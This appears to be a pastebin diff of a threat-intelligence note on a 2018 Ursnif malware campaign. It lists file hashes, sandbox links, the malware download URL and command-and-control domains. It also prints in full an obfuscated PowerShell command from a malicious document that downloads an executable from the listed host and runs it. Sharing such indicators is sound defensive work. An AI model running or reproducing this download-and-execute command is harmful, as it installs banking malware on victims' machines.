SHOW:
|
|
- or go back to the newest paste.
| 1 | - | [] |
| 1 | + | [Ursnif 27042018] |
| 2 | == | |
| 3 | ||
| 4 | - | [][1] |
| 4 | + | Main object- "193202.exe.zip" |
| 5 | - | [1]: |
| 5 | + | sha256 d63d5d95980cbc89d19c0efbaad3c68286d0ed9b46a61f515d86d7f1a35bc305 |
| 6 | sha1 68f8a0687c17c19d0b3c2bdba80f8fca238b73a9 | |
| 7 | - | [] |
| 7 | + | md5 3ab280c81541702ad5fe1623a402e807 |
| 8 | Dropped executable file | |
| 9 | sha256 C:\Users\admin\AppData\Local\Temp\7zO49AB45FF\193202.exe 16f757ca5a6335015f3f0ca42db8b463079a32976869f2930c1e8ae4e798289e | |
| 10 | ||
| 11 | [https://app.any.run/tasks/ae1b8ed0-e5c3-4551-b0e9-0c8b97de6989][1] | |
| 12 | [1]:https://app.any.run/tasks/ae1b8ed0-e5c3-4551-b0e9-0c8b97de6989 | |
| 13 | ||
| 14 | [https://app.any.run/tasks/9864acbf-f999-4eab-9365-3c64bd0df5d3][1] | |
| 15 | [1]:https://app.any.run/tasks/9864acbf-f999-4eab-9365-3c64bd0df5d3 | |
| 16 | ||
| 17 | ||
| 18 | [Ursnif Download] | |
| 19 | -- | |
| 20 | http://iiasjdqwjenqasdnq.com/ARN/testv.php?l=undon4.yarn | |
| 21 | ||
| 22 | [Maldoc Powershell] | |
| 23 | powershell "(('m'+'C'+'unsada'+'sd '+'= &('+'1Hl'+'n1Hl'+'+1H'+'l'+'e'+'1Hl'+'+1H'+'lw-o'+'bjec1'+'Hl'+'+1H'+'l'+'t'+'1'+'Hl) '+'r'+'an'+'dom;mCuY'+'YU '+'= .('+'1Hl'+'ne'+'1H'+'l+1Hlw1Hl'+'+1H'+'l-o'+'bj'+'ect1H'+'l) Syste'+'m.Net.'+'We'+'bCl'+'ien'+'t;'+'mCuN'+'SB ='+' mCuns'+'ada'+'sd'+'.ne'+'xt'+'('+'10'+'0'+'00, 28'+'21'+'33);mCu'+'ADCX = 1Hl '+' ht'+'tp:/'+'/'+'iia'+'s'+'jdqwjenqasd'+'nq.co'+'m/'+'A'+'RN/t'+'estv.'+'ph'+'p?l'+'='+'u'+'nd'+'o'+'n4'+'.'+'yarn1Hl.S'+'plit(1H'+'l@'+'1Hl);'+'mC'+'uSD'+'C = mCu'+'e'+'nv:pub'+'lic '+'+ '+'1HlF8h'+'1Hl + mCuNSB'+' '+'+ (1Hl.ex'+'1Hl+1'+'Hle1Hl);foreac'+'h(mCuasf'+'c'+' '+'in mCu'+'A'+'DCX){'+'t'+'r'+'y{mCuYYU'+'.XfuDo'+'DnaWnlD'+'na'+'O'+'adF'+'IDnaleXfu'+'('+'mCuasfc.XfuToS'+'tr'+'Dna'+'i'+'DnaNgX'+'fu('+')'+', '+'mCuS'+'DC'+');'+'&(1'+'H'+'lI'+'n'+'v'+'o1'+'Hl'+'+1Hlk1Hl+'+'1Hl'+'e'+'-It'+'em1'+'Hl)(m'+'CuSD'+'C);break;}ca'+'tch{}}')-rePLaCe([CHaR]68+[CHaR]110+[CHaR]97),[CHaR]96-crepLACe 'mCu',[CHaR]36 -crepLACe'1Hl',[CHaR]39 -rePLaCe'Xfu',[CHaR]34-crepLACe ([CHaR]70+[CHaR]56+[CHaR]104),[CHaR]92)|inVoKe-exPrEssion
| |
| 24 | ||
| 25 | [Ursnif DNS] | |
| 26 | ccccjasndqhwee.net | |
| 27 | woiadansdqweewe.net | |
| 28 | ||
| 29 | ||
| 30 | ||
| 31 | *** | |
| 32 | ![Pastebin Logo][image] | |
| 33 | ||
| 34 | [image]: https://zerophagemalware.files.wordpress.com/2017/09/zerophageicon2.png |
